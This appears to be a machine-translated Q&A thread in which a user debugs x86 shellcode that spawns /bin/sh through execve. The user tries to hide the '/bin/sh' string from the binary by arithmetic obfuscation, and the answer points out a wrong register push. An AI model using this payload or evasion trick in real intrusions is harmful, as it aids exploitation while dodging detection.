Ошибка сегментации путем замены инструкции другой, выполняющей ту же работу. Зачем? - PullRequest
2 голосов
/ 11 октября 2011

У меня есть этот рабочий шелл-код, который порождает оболочку Я должен изменить его так, чтобы я скрыл "/ bin / sh" или "sh" в любом месте двоичного файла после компиляции. Поэтому я подумал о том, чтобы взять шестнадцатеричное значение / bin / sh (2f 62 69 6e 2f 73 68), добавить к нему какое-нибудь случайное значение, скажем, 0x11111, и переместить это значение в регистр, вычтя 0x11111 во время выполнения, а затем выдвинув это время выполнения, сгенерированное значение (который становится / bin / sh) в стек и делает execv Но я получаю ошибку сегментации на самом первом шаге. и я не могу понять, почему?

Этот код работает нормально.

section .data

section .text
    global _start
_start:

xor eax,eax
cdq
push eax
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al,0xb
xor edx,edx
int 0x80

Но это изменение вызывает ошибку сегментации

section .data

section .text
    global _start
_start:

xor eax,eax
cdq
push eax
mov ecx,0x11111
mov ebx,0x68744040
sub ebx,ecx
push long eax
push long 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al,0xb
xor edx,edx
int 0x80

Пожалуйста, помогите мне в этом. Будет здорово. Спасибо

1 Ответ

1 голос
/ 11 октября 2011

Код другой, не так ли?Смотрите здесь:

sub ebx,ecx
push long eax

Вы вычисляете ebx-ecx, но нажимаете eaxeax равно нулю.

Должно быть:

sub ebx,ecx
push long ebx
...